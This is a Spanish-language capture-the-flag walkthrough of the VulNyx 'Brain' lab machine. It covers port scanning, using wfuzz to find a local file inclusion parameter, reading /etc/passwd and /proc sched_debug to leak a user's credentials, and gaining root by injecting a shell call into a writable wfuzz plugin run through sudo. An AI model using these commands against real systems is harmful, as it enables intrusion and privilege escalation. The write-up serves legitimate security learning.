VulNyx - Brain

logo

  • Local File Inclusion
  • Credential Leakage
  • Abusing Wfuzz Binary

Escaneo de puertos

❯ nmap -p- -T5 -v -n 192.168.1.93

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Escaneo de servicios

❯ nmap -sVC -v -p 22,80 192.168.1.93

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 3295f92044d7a1d180a8d69591d51eda (RSA)
|   256 07e724381d64f6889a712379b8d8e657 (ECDSA)
|_  256 58a6da1e0f89422bbade00fc71783d56 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP

Se puede observar la salida del archivo sched_debug. El archivo sched_debug se encuentra en el directorio /pro, que contiene archivos y directorios virtuales que ofrecen información sobre el estado del sistema y sus procesos.

http

Enumeración de extensiones txt y php.

❯ wfuzz -c -t 200 --hc=404 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -z list,php "http://192.168.1.93/FUZZ.FUZ2Z"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.1.93/FUZZ.FUZ2Z
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                
=====================================================================

000000015:   200        7 L      26 W       361 Ch      "index - php"

Encuentro el parámetro include.

❯ wfuzz -c -t 200 --hc=404 --hh=361 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt "http://192.168.1.93/index.php?FUZZ=/etc/passwd"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.1.93/index.php?FUZZ=/etc/passwd
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                
=====================================================================

000001112:   200        33 L     64 W       1750 Ch     "include"

Obtengo un LFI y veo un usuario que me puede servir mas adelante.

❯ curl -s "http://192.168.1.93/index.php?include=/etc/passwd"
<pre>
runnable tasks:
 S           task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
-----------------------------------------------------------------------------------------------------------
 S        systemd     1      2927.102286      1731   120         0.000000       509.025216         0.000000 0 0 /
</pre>

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
ben:x:1000:1000:ben,,,:/home/ben:/bin/bash

Como puedo leer archivos me voy al archivo sched_debug y encuentro las credenciales del usuario ben.

lfi_proc.png

Me conecto al sistema con el usuario ben.

❯ ssh ben@192.168.1.93
ben@192.168.1.93's password: 
Linux brain 4.19.0-23-amd64 #1 SMP Debian 4.19.269-1 (2022-12-20) x86_64
ben@brain:~$ id
uid=1000(ben) gid=1000(ben) grupos=1000(ben)

Enumero permisos de sudo.

ben@brain:~$ sudo -l
Matching Defaults entries for ben on Brain:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User ben may run the following commands on Brain:
    (root) NOPASSWD: /usr/bin/wfuzz

Realizo una búqueda de archivos con permisos de escritura y encuentro range.py.

ben@brain:~$ find / -writable 2>/dev/null | grep -v -i -E 'proc|run|sys|dev'

/usr/lib/python3/dist-packages/wfuzz/plugins/payloads/range.py

Abro el archivo y añado estas dos líneas.

import os
os.system("/bin/bash")

Obtengo el root de la siguiente forma.

ben@brain:~$ sudo wfuzz -c -z range 1-2

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

root@brain:/home/ben# id
uid=0(root) gid=0(root) grupos=0(root)

Y con esto ya tenemos resuelta la máquina Brain.

Saludos!